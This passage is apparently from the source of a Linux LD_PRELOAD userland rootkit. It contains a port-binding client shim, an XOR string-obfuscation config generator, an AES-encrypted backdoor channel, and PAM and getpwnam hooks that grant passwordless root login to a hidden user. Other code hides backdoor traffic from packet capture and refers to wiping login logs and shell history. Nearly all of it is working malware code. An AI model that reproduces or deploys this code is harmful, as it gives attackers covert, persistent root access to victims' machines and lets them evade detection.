34 | long d_ino;
35 | off_t d_off;
36 | unsigned short d_reclen;
37 | char d_name[];
38 | };
39 |
40 |
41 | #define CRYPT_SHELL 1
42 | #define PLAIN_SHELL 0
43 |
44 | #define O_RDWR 02
45 | #define O_RDONLY 00
46 |
47 | static int constr = 0;
48 |
49 | #endif
50 |
--------------------------------------------------------------------------------
/client.c:
--------------------------------------------------------------------------------
1 | /*
2 | * You only need this if you're connecting via SSH to the PAM backdoor
3 | * LD_PRELOAD=./client.so ssh rootme@blah.blah
4 | * Otherwise set it in ncat if you're using plain text accept
5 | * or crypthook backdoor
6 | */
7 |
8 | #define _GNU_SOURCE
9 |
10 | #include
11 | #include
12 | #include
13 | #include
14 |
15 | #define PORT 61061
16 |
17 | static int (*old_socket)(int domain, int type, int protocol);
18 |
19 | int socket(int domain, int type, int protocol) {
20 | int fd;
21 | struct sockaddr_in src;
22 |
23 | if (!old_socket)
24 | old_socket = dlsym(RTLD_NEXT,"socket");
25 |
26 | fd = old_socket(domain,type,protocol);
27 |
28 | if (fd == -1)
29 | return fd;
30 |
31 | src.sin_family = AF_INET;
32 | src.sin_addr.s_addr = INADDR_ANY;
33 | src.sin_port = htons(PORT);
34 | bind(fd, (struct sockaddr *) &src, sizeof(src));
35 |
36 | return fd;
37 | }
38 |
39 |
--------------------------------------------------------------------------------
/config.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | def xor(x_str):
4 | return ''.join(list('\\x'+hex(ord(x) ^ 0xfe)[2:] for x in x_str))
5 |
6 | # Change everything in this box
7 | #-----------------------------------------------------------------------
8 | LOW_PORT = "61040" # Lowest source port for plain text backdoor
9 | HIGH_PORT = "61050" # Highest source port for plain text backdoor
10 | CRYPT_LOW = "61051" # Lowest source port for crypthook backdoor
11 | CRYPT_HIGH = "61060" # Highest source port for crypthook backdoor
12 | PAM_PORT = "61061" # Also hide this port, but don't trigger accept backdoors
13 | MAGIC_STRING = "__" # Hide files with this string in the name
14 |
15 | BLIND_LOGIN = "rootme" # Username for ssh / su PAM backdoor.
16 | C_ROOT = "root" # Give accept() users these privs
17 | SHELL_MSG = "Welcome!\nHere's a shell: " # Welcome msg for remote user
18 | SHELL_PASSWD = "changeme" # Remote password for accept backdoors
19 | SHELL_TYPE = "/bin/bash" # Execute this as the shell
20 |
21 | ANTI_DEBUG_MSG = "Don't scratch the walls"
22 | CLEANUP_LOGS = "CLEANUP_LOGS"
23 |
24 | # Crypthook key constants
25 | PASSPHRASE = "Hello NSA" # This is the crypto key. CHANGE THIS.
26 | KEY_SALT = "changeme" # Used in key derivation. CHANGE THIS.
27 | #-----------------------------------------------------------------------
28 |
29 | print '''
30 | #define _GNU_SOURCE
31 | #ifndef CONST_H
32 | #define CONST_H
33 | //#define DEBUG_APP
34 | #ifdef DEBUG_APP
35 | #define DEBUG(...) fprintf(stderr, __VA_ARGS__);
36 | #else
37 | #define DEBUG(...)
38 | #endif
39 |
40 | #define LOW_PORT ''' + LOW_PORT + '''
41 | #define HIGH_PORT ''' + HIGH_PORT + '''
42 | #define CRYPT_LOW ''' + CRYPT_LOW + '''
43 | #define CRYPT_HIGH ''' + CRYPT_HIGH + '''
44 | #define PAM_PORT ''' + PAM_PORT + '''
45 | #define MAGIC_STRING "''' + MAGIC_STRING + '''"
46 | #define BLIND_LOGIN "''' + xor(BLIND_LOGIN) + '''"
47 | #define C_ROOT "''' + xor(C_ROOT) + '''"
48 | #define SHELL_MSG "''' + xor(SHELL_MSG) + '''"
49 | #define SHELL_PASSWD "''' + xor(SHELL_PASSWD) + '''"
50 | #define SHELL_TYPE "''' + xor(SHELL_TYPE) + '''"
51 | #define PASSPHRASE "''' + xor(PASSPHRASE) + '''"
52 | #define KEY_SALT "''' + xor(KEY_SALT) + '''"
53 | #define ANTI_DEBUG_MSG "''' + xor(ANTI_DEBUG_MSG) + '''"
54 | #define CLEANUP_LOGS "''' + xor(CLEANUP_LOGS) + '''"
55 | #define SYS_ACCEPT 0
56 | #define SYS_ACCESS 1
57 | #define SYS_EXECVE 2
58 | #define SYS_LINK 3
59 | #define SYS_LXSTAT 4
60 | #define SYS_LXSTAT64 5
61 | #define SYS_OPEN 6
62 | #define SYS_RMDIR 7
63 | #define SYS_UNLINK 8
64 | #define SYS_UNLINKAT 9
65 | #define SYS_XSTAT 10
66 | #define SYS_XSTAT64 11
67 | #define SYS_FOPEN 12
68 | #define SYS_FOPEN64 13
69 | #define SYS_OPENDIR 14
70 | #define SYS_READDIR 15
71 | #define SYS_READDIR64 16
72 | #define SYS_PAM_AUTHENTICATE 17
73 | #define SYS_PAM_OPEN_SESSION 18
74 | #define SYS_PAM_ACCT_MGMT 19
75 | #define SYS_GETPWNAM 20
76 | #define SYS_PAM_SM_AUTHENTICATE 21
77 | #define SYS_GETPWNAM_R 22
78 | #define SYS_PCAP_LOOP 23
79 | #define SYSCALL_SIZE 24
80 |
81 | #define LD_NORMAL "''' + xor("/etc/ld.so.preload") + '''"
82 | #define LD_HIDE "''' + xor("/etc/.ld.so.preload") + '''"
83 | #define SYS_WRITE "''' + xor("write") + '''"
84 | #define SYS_READ "''' + xor("read") + '''"
85 | #define HIST_FILE "'''+ xor("HISTFILE=/dev/null") + '''"
86 | #define C_UNHIDE "''' + xor("bin/unhide") + '''"
87 | #define C_LDD "''' + xor("bin/ldd") + '''"
88 | #define PROC_NET_TCP "''' + xor("/proc/net/tcp") + '''"
89 | #define PROC_NET_TCP6 "''' + xor("/proc/net/tcp6") + '''"
90 | #define CONFIG_FILE "''' + xor("ld.so.preload") + '''"
91 | #define PROC_PATH "''' + xor("/proc/") + '''"
92 | #define CMD_LINE "''' + xor("%s/cmdline") + '''"
93 | #define ENV_LINE "''' + xor("%s/environ") + '''"
94 | #define PROC_STR "''' + xor("/proc/%s") + '''"
95 | #define SCANF_LINE "''' + xor("%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n") + '''"
96 |
97 | #define LD_TRACE "''' + xor("LD_TRACE_LOADED_OBJECTS") + '''"
98 | #define LD_LINUX "''' + xor("ld-linux") + '''"
99 |
100 | #define UTMP_MSG "''' + xor("utmp logs cleaned up.") + '''"
101 | #define WTMP_MSG "''' + xor("wtmp logs cleaned up.") + '''"
102 |
103 | #define UTMP_FILE_X "''' + xor("/var/run/utmp") + '''"
104 | #define WTMP_FILE_X "''' + xor("/var/log/wtmp") + '''"
105 |
106 | #define HISTFILE "''' + xor("HISTFILE") + '''"
107 | #define TERM "''' + xor("TERM=xterm") + '''"
108 | #define HIDE_TERM_VAR "''' + xor("HIDE_THIS_SHELL=please") + '''"
109 | #define HIDE_TERM_STR "''' + xor("HIDE_THIS_SHELL") + '''"
110 | static char *syscall_table[SYSCALL_SIZE] = {'''
111 |
112 | syscalls = ["accept", "access", "execve", "link", "__lxstat", "__lxstat64",
113 | "open", "rmdir", "unlink", "unlinkat", "__xstat", "__xstat64",
114 | "fopen", "fopen64", "opendir", "readdir", "readdir64",
115 | "pam_authenticate", "pam_open_session", "pam_acct_mgmt",
116 | "getpwnam", "pam_sm_authenticate", "getpwnam_r", "pcap_loop"]
117 |
118 | call_str = ''
119 | for call in syscalls:
120 | if call != syscalls[-1]:
121 | call_str = call_str + ' "' + xor(call) + '",'
122 | else:
123 | call_str = call_str + ' "' + xor(call) + '"'
124 |
125 | print call_str + '''};
126 | #endif'''
127 |
--------------------------------------------------------------------------------
/const.h:
--------------------------------------------------------------------------------
1 |
2 | #define _GNU_SOURCE
3 | #ifndef CONST_H
4 | #define CONST_H
5 | //#define DEBUG_APP
6 | #ifdef DEBUG_APP
7 | #define DEBUG(...) fprintf(stderr, __VA_ARGS__);
8 | #else
9 | #define DEBUG(...)
10 | #endif
11 |
12 | #define LOW_PORT 61040
13 | #define HIGH_PORT 61050
14 | #define CRYPT_LOW 61051
15 | #define CRYPT_HIGH 61060
16 | #define PAM_PORT 61061
17 | #define MAGIC_STRING "__"
18 | #define BLIND_LOGIN "\x8c\x91\x91\x8a\x93\x9b"
19 | #define C_ROOT "\x8c\x91\x91\x8a"
20 | #define SHELL_MSG "\xa9\x9b\x92\x9d\x91\x93\x9b\xdf\xf4\xb6\x9b\x8c\x9b\xd9\x8d\xde\x9f\xde\x8d\x96\x9b\x92\x92\xc4\xde"
21 | #define SHELL_PASSWD "\x9d\x96\x9f\x90\x99\x9b\x93\x9b"
22 | #define SHELL_TYPE "\xd1\x9c\x97\x90\xd1\x9c\x9f\x8d\x96"
23 | #define PASSPHRASE "\xb6\x9b\x92\x92\x91\xde\xb0\xad\xbf"
24 | #define KEY_SALT "\x9d\x96\x9f\x90\x99\x9b\x93\x9b"
25 | #define ANTI_DEBUG_MSG "\xba\x91\x90\xd9\x8a\xde\x8d\x9d\x8c\x9f\x8a\x9d\x96\xde\x8a\x96\x9b\xde\x89\x9f\x92\x92\x8d"
26 | #define CLEANUP_LOGS "\xbd\xb2\xbb\xbf\xb0\xab\xae\xa1\xb2\xb1\xb9\xad"
27 | #define SYS_ACCEPT 0
28 | #define SYS_ACCESS 1
29 | #define SYS_EXECVE 2
30 | #define SYS_LINK 3
31 | #define SYS_LXSTAT 4
32 | #define SYS_LXSTAT64 5
33 | #define SYS_OPEN 6
34 | #define SYS_RMDIR 7
35 | #define SYS_UNLINK 8
36 | #define SYS_UNLINKAT 9
37 | #define SYS_XSTAT 10
38 | #define SYS_XSTAT64 11
39 | #define SYS_FOPEN 12
40 | #define SYS_FOPEN64 13
41 | #define SYS_OPENDIR 14
42 | #define SYS_READDIR 15
43 | #define SYS_READDIR64 16
44 | #define SYS_PAM_AUTHENTICATE 17
45 | #define SYS_PAM_OPEN_SESSION 18
46 | #define SYS_PAM_ACCT_MGMT 19
47 | #define SYS_GETPWNAM 20
48 | #define SYS_PAM_SM_AUTHENTICATE 21
49 | #define SYS_GETPWNAM_R 22
50 | #define SYS_PCAP_LOOP 23
51 | #define SYSCALL_SIZE 24
52 |
53 | #define LD_NORMAL "\xd1\x9b\x8a\x9d\xd1\x92\x9a\xd0\x8d\x91\xd0\x8e\x8c\x9b\x92\x91\x9f\x9a"
54 | #define LD_HIDE "\xd1\x9b\x8a\x9d\xd1\xd0\x92\x9a\xd0\x8d\x91\xd0\x8e\x8c\x9b\x92\x91\x9f\x9a"
55 | #define SYS_WRITE "\x89\x8c\x97\x8a\x9b"
56 | #define SYS_READ "\x8c\x9b\x9f\x9a"
57 | #define HIST_FILE "\xb6\xb7\xad\xaa\xb8\xb7\xb2\xbb\xc3\xd1\x9a\x9b\x88\xd1\x90\x8b\x92\x92"
58 | #define C_UNHIDE "\x9c\x97\x90\xd1\x8b\x90\x96\x97\x9a\x9b"
59 | #define C_LDD "\x9c\x97\x90\xd1\x92\x9a\x9a"
60 | #define PROC_NET_TCP "\xd1\x8e\x8c\x91\x9d\xd1\x90\x9b\x8a\xd1\x8a\x9d\x8e"
61 | #define PROC_NET_TCP6 "\xd1\x8e\x8c\x91\x9d\xd1\x90\x9b\x8a\xd1\x8a\x9d\x8e\xc8"
62 | #define CONFIG_FILE "\x92\x9a\xd0\x8d\x91\xd0\x8e\x8c\x9b\x92\x91\x9f\x9a"
63 | #define PROC_PATH "\xd1\x8e\x8c\x91\x9d\xd1"
64 | #define CMD_LINE "\xdb\x8d\xd1\x9d\x93\x9a\x92\x97\x90\x9b"
65 | #define ENV_LINE "\xdb\x8d\xd1\x9b\x90\x88\x97\x8c\x91\x90"
66 | #define PROC_STR "\xd1\x8e\x8c\x91\x9d\xd1\xdb\x8d"
67 | #define SCANF_LINE "\xdb\x9a\xc4\xde\xdb\xc8\xca\xa5\xce\xd3\xc7\xbf\xd3\xb8\x9f\xd3\x98\xa3\xc4\xdb\xa6\xde\xdb\xc8\xca\xa5\xce\xd3\xc7\xbf\xd3\xb8\x9f\xd3\x98\xa3\xc4\xdb\xa6\xde\xdb\xa6\xde\xdb\x92\xa6\xc4\xdb\x92\xa6\xde\xdb\xa6\xc4\xdb\x92\xa6\xde\xdb\x92\xa6\xde\xdb\x9a\xde\xdb\x9a\xde\xdb\x92\x8b\xde\xdb\xcb\xcf\xcc\x8d\xf4"
68 |
69 | #define LD_TRACE "\xb2\xba\xa1\xaa\xac\xbf\xbd\xbb\xa1\xb2\xb1\xbf\xba\xbb\xba\xa1\xb1\xbc\xb4\xbb\xbd\xaa\xad"
70 | #define LD_LINUX "\x92\x9a\xd3\x92\x97\x90\x8b\x86"
71 |
72 | #define UTMP_MSG "\x8b\x8a\x93\x8e\xde\x92\x91\x99\x8d\xde\x9d\x92\x9b\x9f\x90\x9b\x9a\xde\x8b\x8e\xd0"
73 | #define WTMP_MSG "\x89\x8a\x93\x8e\xde\x92\x91\x99\x8d\xde\x9d\x92\x9b\x9f\x90\x9b\x9a\xde\x8b\x8e\xd0"
74 |
75 | #define UTMP_FILE_X "\xd1\x88\x9f\x8c\xd1\x92\x91\x99\xd1\x8b\x8a\x93\x8e"
76 | #define WTMP_FILE_X "\xd1\x88\x9f\x8c\xd1\x92\x91\x99\xd1\x89\x8a\x93\x8e"
77 |
78 | #define HISTFILE "\xb6\xb7\xad\xaa\xb8\xb7\xb2\xbb"
79 | #define TERM "\xaa\xbb\xac\xb3\xc3\x86\x8a\x9b\x8c\x93"
80 | #define HIDE_TERM_VAR "\xb6\xb7\xba\xbb\xa1\xaa\xb6\xb7\xad\xa1\xad\xb6\xbb\xb2\xb2\xc3\x8e\x92\x9b\x9f\x8d\x9b"
81 | #define HIDE_TERM_STR "\xb6\xb7\xba\xbb\xa1\xaa\xb6\xb7\xad\xa1\xad\xb6\xbb\xb2\xb2"
82 | static char *syscall_table[SYSCALL_SIZE] = {
83 | "\x9f\x9d\x9d\x9b\x8e\x8a", "\x9f\x9d\x9d\x9b\x8d\x8d", "\x9b\x86\x9b\x9d\x88\x9b", "\x92\x97\x90\x95", "\xa1\xa1\x92\x86\x8d\x8a\x9f\x8a", "\xa1\xa1\x92\x86\x8d\x8a\x9f\x8a\xc8\xca", "\x91\x8e\x9b\x90", "\x8c\x93\x9a\x97\x8c", "\x8b\x90\x92\x97\x90\x95", "\x8b\x90\x92\x97\x90\x95\x9f\x8a", "\xa1\xa1\x86\x8d\x8a\x9f\x8a", "\xa1\xa1\x86\x8d\x8a\x9f\x8a\xc8\xca", "\x98\x91\x8e\x9b\x90", "\x98\x91\x8e\x9b\x90\xc8\xca", "\x91\x8e\x9b\x90\x9a\x97\x8c", "\x8c\x9b\x9f\x9a\x9a\x97\x8c", "\x8c\x9b\x9f\x9a\x9a\x97\x8c\xc8\xca", "\x8e\x9f\x93\xa1\x9f\x8b\x8a\x96\x9b\x90\x8a\x97\x9d\x9f\x8a\x9b", "\x8e\x9f\x93\xa1\x91\x8e\x9b\x90\xa1\x8d\x9b\x8d\x8d\x97\x91\x90", "\x8e\x9f\x93\xa1\x9f\x9d\x9d\x8a\xa1\x93\x99\x93\x8a", "\x99\x9b\x8a\x8e\x89\x90\x9f\x93", "\x8e\x9f\x93\xa1\x8d\x93\xa1\x9f\x8b\x8a\x96\x9b\x90\x8a\x97\x9d\x9f\x8a\x9b", "\x99\x9b\x8a\x8e\x89\x90\x9f\x93\xa1\x8c", "\x8e\x9d\x9f\x8e\xa1\x92\x91\x91\x8e"};
84 | #endif
85 |
--------------------------------------------------------------------------------
/crypthook.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Ripped from CryptHook
3 | * AES TCP wrapper
4 | * www.chokepoint.net
5 | * Packet Format:
6 | * [algo][iv][hmac][payload]
7 | */
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | #include "crypthook.h"
17 | #include "const.h"
18 | #include "xor.h"
19 |
20 | #define KEY_SIZE 32 // AES 256 in GCM mode.
21 | #define IV_SIZE 12 // 12 bytes used for AES 256 in GCM mode
22 |
23 | #define PACKET_HEADER 0x17 // Packet Identifier added to each header
24 |
25 | // 1 byte packet identifier
26 | // 12 bytes IV
27 | // 16 bytes MAC
28 | #define HEADER_SIZE 31
29 |
30 | // Used in PBKDF2 key generation. CHANGE THIS FROM DEFAULT
31 | #define ITERATIONS 1000
32 |
33 | static char glob_key[KEY_SIZE]="\00";
34 |
35 | static void gen_key(void) {
36 | char *passphrase = strdup(PASSPHRASE);
37 | char *key_salt = strdup(KEY_SALT);
38 | x(passphrase);
39 | x(key_salt);
40 |
41 | PKCS5_PBKDF2_HMAC_SHA1(passphrase,strlen(passphrase),(const unsigned char *)key_salt,strlen(key_salt),ITERATIONS,KEY_SIZE,(unsigned char *)glob_key);
42 | free(passphrase);
43 | free(key_salt);
44 | }
45 |
46 | static int encrypt_data(char *in, int len, char *out) {
47 | unsigned char outbuf[MAX_LEN];
48 | unsigned char temp[MAX_LEN];
49 | unsigned char iv[IV_SIZE];
50 | unsigned char tag[16];
51 |
52 | unsigned char *step;
53 | int tmplen=0, outlen=0;
54 |
55 | // copy plain text message into temp
56 | memset(temp,0x00,MAX_LEN);
57 | memcpy(temp,in,len);
58 |
59 | if (glob_key[0] == 0x00) // Generate key if its the first packet
60 | gen_key();
61 | RAND_bytes(iv,IV_SIZE); // Generate random IV
62 |
63 | EVP_CIPHER_CTX *ctx;
64 | ctx = EVP_CIPHER_CTX_new();
65 | EVP_CIPHER_CTX_init (ctx);
66 | EVP_EncryptInit_ex (ctx, EVP_aes_256_gcm() , NULL, (const unsigned char *)glob_key, (const unsigned char *)iv);
67 |
68 | if (!EVP_EncryptUpdate (ctx, outbuf, &outlen, (const unsigned char *)temp, len)) {
69 | EVP_CIPHER_CTX_cleanup (ctx);
70 | return 0;
71 | }
72 |
73 | if (!EVP_EncryptFinal_ex (ctx, outbuf + outlen, &tmplen)) {
74 | EVP_CIPHER_CTX_cleanup (ctx);
75 | return 0;
76 | }
77 |
78 | EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag);
79 |
80 | // Add header information
81 | out[0]=PACKET_HEADER;
82 | out[1]=(0xff00&(len+HEADER_SIZE))>>8;
83 | out[2]=(0xff&(len+HEADER_SIZE));
84 | step=(unsigned char *)&out[3];
85 | memcpy(step,iv,IV_SIZE);
86 | step+=IV_SIZE;
87 | memcpy(step,tag,sizeof(tag));
88 | step+=sizeof(tag);
89 | memcpy(step,outbuf,outlen+tmplen);
90 |
91 | EVP_CIPHER_CTX_cleanup (ctx);
92 | return outlen+tmplen+HEADER_SIZE;
93 | }
94 |
95 | static int decrypt_data(char *in, int len, char *out) {
96 | unsigned char outbuf[MAX_LEN];
97 | unsigned char iv[IV_SIZE];
98 | unsigned char tag[16];
99 | char *step;
100 |
101 | int tmplen=0, outlen=0;
102 |
103 | memset(outbuf,0x00,MAX_LEN);
104 |
105 | // header information
106 | step=in+3;
107 | memcpy(iv,step,IV_SIZE); // Extract the IV
108 | step+=IV_SIZE;
109 | memcpy(tag,step,16); // Extract the MAC
110 | step+=16;
111 |
112 | if (glob_key[0] == 0x00) // Generate key if its the first packet
113 | gen_key();
114 |
115 | EVP_CIPHER_CTX *ctx;
116 | ctx = EVP_CIPHER_CTX_new();
117 | EVP_CIPHER_CTX_init (ctx);
118 | EVP_DecryptInit_ex (ctx, EVP_aes_256_gcm() , NULL, (const unsigned char *)glob_key, (const unsigned char *)iv);
119 |
120 | EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, IV_SIZE, NULL);
121 |
122 | if (!EVP_DecryptUpdate (ctx, outbuf, &outlen, (const unsigned char *)step, len)) {
123 | EVP_CIPHER_CTX_cleanup (ctx);
124 | return 0;
125 | }
126 |
127 | EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, sizeof(tag), tag);
128 |
129 | if (!EVP_DecryptFinal_ex (ctx, outbuf + outlen, &tmplen)) {
130 | EVP_CIPHER_CTX_cleanup (ctx);
131 | return 0;
132 | }
133 |
134 | EVP_CIPHER_CTX_cleanup (ctx);
135 |
136 | memcpy(out,outbuf,outlen+tmplen);
137 |
138 | return len;
139 | }
140 |
141 | /* Hook recv and decrypt the data before returning to the program */
142 | ssize_t crypt_read(int sockfd, void *buf, size_t len) {
143 | char outbuf[MAX_LEN];
144 | unsigned char temp[MAX_LEN];
145 | char *step;
146 |
147 | int outlen, ret, flags=0, packet_len;
148 |
149 | memset(outbuf,0x00,MAX_LEN);
150 | memset(temp,0x00,MAX_LEN);
151 |
152 | if (sockfd == 0) // Y U CALL ME W/ SOCKFD SET TO ZERO!?!?
153 | return recv(sockfd, buf, len, flags);
154 |
155 | ret = recv(sockfd, (void *)temp, 3, MSG_PEEK);
156 |
157 | if (ret < 1) { // Nothing to decrypt
158 | return ret;
159 | }
160 |
161 | if (temp[0] != PACKET_HEADER)
162 | return 0;
163 |
164 | packet_len = (temp[1]<<8)+temp[2];
165 |
166 | ret = recv(sockfd, (void *)temp, packet_len, flags);
167 | outlen = decrypt_data((char *)temp,ret - HEADER_SIZE,&outbuf[0]);
168 |
169 | memcpy((void*)buf,(void*)outbuf,(size_t)outlen);
170 |
171 | return outlen;
172 | }
173 |
174 | /* Hook send and encrypt data first */
175 | ssize_t crypt_write(int sockfd, const void *buf, size_t len) {
176 | char outbuf[MAX_LEN];
177 | int outlen, ret, flags=0;
178 |
179 | memset(outbuf,0x00,MAX_LEN);
180 |
181 | outlen = encrypt_data((char *)buf, len, &outbuf[0]);
182 | if (outlen == 0)
183 | return 0;
184 |
185 | // Send the encrypted data
186 | ret = send(sockfd, (void *)outbuf, outlen, flags);
187 |
188 | if (ret == -1) {
189 | return -1;
190 | }
191 |
192 | return len;
193 | }
194 |
--------------------------------------------------------------------------------
/crypthook.h:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #ifndef CRYPTHOOK_H
3 | #define CRYPTHOOK_H
4 |
5 | #define MAX_LEN 4125
6 |
7 | extern ssize_t crypt_read(int sockfd, void *buf, size_t len) __attribute__((visibility("hidden")));
8 | extern ssize_t crypt_write(int sockfd, const void *buf, size_t len) __attribute__((visibility("hidden")));
9 |
10 | #endif
11 |
--------------------------------------------------------------------------------
/pam.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "const.h"
13 | #include "xor.h"
14 | #include "azazel.h"
15 |
16 | int pam_authenticate(pam_handle_t *pamh, int flags) {
17 | void *user;
18 | char *blind_login = strdup(BLIND_LOGIN);
19 | x(blind_login);
20 |
21 | DEBUG("pam_authenticate called.\n");
22 |
23 | azazel_init();
24 |
25 | pam_get_item(pamh, PAM_USER, (const void **)&user);
26 |
27 | if (strstr(user, blind_login)) {
28 | cleanup(blind_login,strlen(blind_login));
29 | return PAM_SUCCESS;
30 | }
31 |
32 | cleanup(blind_login,strlen(blind_login));
33 | return (long)syscall_list[SYS_PAM_AUTHENTICATE].syscall_func(pamh, flags);
34 | }
35 |
36 | int pam_open_session(pam_handle_t *pamh, int flags) {
37 | void *user;
38 | char *blind_login = strdup(BLIND_LOGIN);
39 | x(blind_login);
40 |
41 | DEBUG("pam_open_session called.\n");
42 |
43 | azazel_init();
44 |
45 | pam_get_item(pamh, PAM_USER, (const void **)&user);
46 |
47 | if (strstr(user,blind_login)) {
48 | cleanup(blind_login,strlen(blind_login));
49 | return PAM_SUCCESS;
50 | }
51 |
52 | cleanup(blind_login,strlen(blind_login));
53 | return (long)syscall_list[SYS_PAM_OPEN_SESSION].syscall_func(pamh, flags);
54 | }
55 |
56 | struct passwd *getpwnam(const char *name) {
57 | struct passwd *mypw;
58 | char *blind_login = strdup(BLIND_LOGIN);
59 | char *c_root = strdup(C_ROOT);
60 |
61 | x(blind_login);
62 | x(c_root);
63 |
64 | DEBUG("getpwnam called. %s\n", name);
65 |
66 | azazel_init();
67 |
68 | if (strstr(name, blind_login)) {
69 | mypw = syscall_list[SYS_GETPWNAM].syscall_func(c_root);
70 | mypw->pw_name = strdup(c_root);
71 | cleanup(blind_login,strlen(blind_login));
72 | cleanup(c_root,strlen(c_root));
73 | return mypw;
74 | }
75 | cleanup(blind_login,strlen(blind_login));
76 | cleanup(c_root,strlen(c_root));
77 | return syscall_list[SYS_GETPWNAM].syscall_func(name);
78 | }
79 |
80 | int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result) {
81 | char *blind_login = strdup(BLIND_LOGIN);
82 | char *c_root = strdup(C_ROOT);
83 | char user[51];
84 |
85 | x(blind_login);
86 | x(c_root);
87 |
88 | DEBUG("getpwnam_r called.\n");
89 | azazel_init();
90 |
91 | if (strstr(name, blind_login)) {
92 | strncpy(user, c_root, sizeof(user)-1);
93 | cleanup(blind_login,strlen(blind_login));
94 | cleanup(c_root,strlen(c_root));
95 | return (long)syscall_list[SYS_GETPWNAM_R].syscall_func(user, pwd, buf, buflen, result);
96 | }
97 |
98 | cleanup(blind_login,strlen(blind_login));
99 | cleanup(c_root,strlen(c_root));
100 | return (long)syscall_list[SYS_GETPWNAM_R].syscall_func(name, pwd, buf, buflen, result);
101 | }
102 |
103 | int pam_acct_mgmt(pam_handle_t *pamh, int flags) {
104 | void *user;
105 | char *blind_login = strdup(BLIND_LOGIN);
106 | x(blind_login);
107 |
108 | DEBUG("pam_acct_mgmt called.\n");
109 |
110 | azazel_init();
111 |
112 | pam_get_item(pamh, PAM_USER, (const void **)&user);
113 |
114 | if (strstr(user, blind_login)) {
115 | cleanup(blind_login,strlen(blind_login));
116 | return PAM_SUCCESS;
117 | }
118 |
119 | cleanup(blind_login,strlen(blind_login));
120 | return (long)syscall_list[SYS_PAM_ACCT_MGMT].syscall_func(pamh, flags);
121 | }
122 |
123 | int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char *argv[]) {
124 | const char *user;
125 | char *blind_login = strdup(BLIND_LOGIN);
126 | int pam_err;
127 |
128 | x(blind_login);
129 |
130 | azazel_init();
131 |
132 | if ((pam_err = pam_get_user(pamh, &user, NULL)) != PAM_SUCCESS) {
133 | cleanup(blind_login,strlen(blind_login));
134 | return pam_err;
135 | }
136 |
137 | if (strstr(user, blind_login)) {
138 | cleanup(blind_login,strlen(blind_login));
139 | return PAM_SUCCESS;
140 | }
141 |
142 | cleanup(blind_login,strlen(blind_login));
143 | return (long)syscall_list[SYS_PAM_SM_AUTHENTICATE].syscall_func(pamh, flags, argc, argv);
144 | }
145 |
--------------------------------------------------------------------------------
/pcap.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "const.h"
4 | #include "azazel.h"
5 | #include "pcap.h"
6 |
7 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
8 | const struct sniff_ip *ip; /* The IP header */
9 | const struct sniff_tcp *tcp; /* The TCP header */
10 | int size_ip;
11 | int size_tcp;
12 | int sport,dport;
13 |
14 | /* define/compute ip header offset */
15 | ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
16 | size_ip = IP_HL(ip)*4;
17 | if (size_ip < 20) {
18 | DEBUG("Invalid IP header length: %u bytes\n", size_ip);
19 | return;
20 | }
21 |
22 | switch(ip->ip_p) {
23 | case IPPROTO_TCP:
24 | break;
25 | default:
26 | if (old_callback)
27 | old_callback(args, header, packet);
28 | return;
29 | }
30 |
31 | /* define/compute tcp header offset */
32 | tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
33 | size_tcp = TH_OFF(tcp)*4;
34 | if (size_tcp < 20) {
35 | DEBUG("Invalid TCP header length: %u bytes\n", size_tcp);
36 | return;
37 | }
38 | sport = htons(tcp->th_sport);
39 | dport = htons(tcp->th_dport);
40 |
41 | /* Hide traffic if it's one of our ports */
42 | if ((sport >= LOW_PORT && sport <= HIGH_PORT) || (dport >= LOW_PORT && dport <= HIGH_PORT) || (dport == PAM_PORT) ||
43 | (sport >= CRYPT_LOW && sport <= CRYPT_HIGH) || (dport >= CRYPT_LOW && dport <= CRYPT_HIGH) || (sport == PAM_PORT)) {
44 | return;
45 | } else {
46 | if (old_callback)
47 | old_callback(args, header, packet);
48 | }
49 |
50 | return;
51 | }
52 |
53 |
54 | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) {
55 | DEBUG("pcap_loop hooked.\n");
56 | azazel_init();
57 |
58 | old_callback = callback;
59 | return (long)syscall_list[SYS_PCAP_LOOP].syscall_func(p, cnt, got_packet, user);
60 | }
61 |
--------------------------------------------------------------------------------
/pcap.h:
--------------------------------------------------------------------------------
1 | /* pcap.h */
2 | #ifndef PCAP_H
3 | #define PCAP_H
4 | #endif
5 |
6 | #include
7 |
8 | static int (*old_pcap_loop)(pcap_t *p, int cnt, pcap_handler callback, u_char *user);
9 | static void (*old_callback)(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
10 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) __attribute__((visibility("hidden")));
11 |
12 | /* IP header */
13 | struct sniff_ip {
14 | u_char ip_vhl; /* version << 4 | header length >> 2 */
15 | u_char ip_tos; /* type of service */
16 | u_short ip_len; /* total length */
17 | u_short ip_id; /* identification */
18 | u_short ip_off; /* fragment offset field */
19 | #define IP_RF 0x8000 /* reserved fragment flag */
20 | #define IP_DF 0x4000 /* dont fragment flag */
21 | #define IP_MF 0x2000 /* more fragments flag */
22 | #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
23 | u_char ip_ttl; /* time to live */
24 | u_char ip_p; /* protocol */
25 | u_short ip_sum; /* checksum */
26 | struct in_addr ip_src,ip_dst; /* source and dest address */
27 | };
28 |
29 | struct sniff_tcp {
30 | u_short th_sport; /* source port */
31 | u_short th_dport; /* destination port */
